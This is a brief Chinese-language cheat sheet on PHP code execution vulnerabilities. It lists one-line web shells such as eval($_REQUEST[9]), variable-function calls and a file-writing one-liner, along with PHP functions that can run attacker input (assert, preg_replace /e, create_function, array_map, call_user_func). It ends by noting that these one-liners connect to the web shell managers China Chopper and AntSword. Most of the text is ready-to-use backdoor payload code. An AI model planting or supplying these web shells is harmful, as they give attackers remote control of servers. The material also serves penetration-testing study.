代码执行漏洞是什么:
- 用户输入的数据被当作后端代码进行执行
典型的语句
- <?php eval($_REQUEST[9])?>
- <?php $_GET[1]($_GET[2])?>
- <?=eval($_REQUEST[9])?>
- <?php ${file_put_contents($_GET[1],$_GET[2])}?>
会造成代码执行的函数:
- eval($a)
eval($_REQUEST[9]);
- assert($a)
assert($_REQUEST[9]);
assert("eval('$_REQUEST[9]')")
file_put_contents('1.php','<?php echo 1;echo 2;?>')
- preg_replace()
<?php
echo preg_replace('/a/e',$_GET[9],'ac');
?>
- create_function()
$a=create_function('',$_REQUEST[9]);
- array_map()
array_map('assert',$_GET);
- call_user_func()
- 双引号二次解析(php5.5.38及以上版本)
"${phpinfo()}";
双引号二次解析需配合文件写入使用
总结:
以上即可连接菜刀、蚁剑使用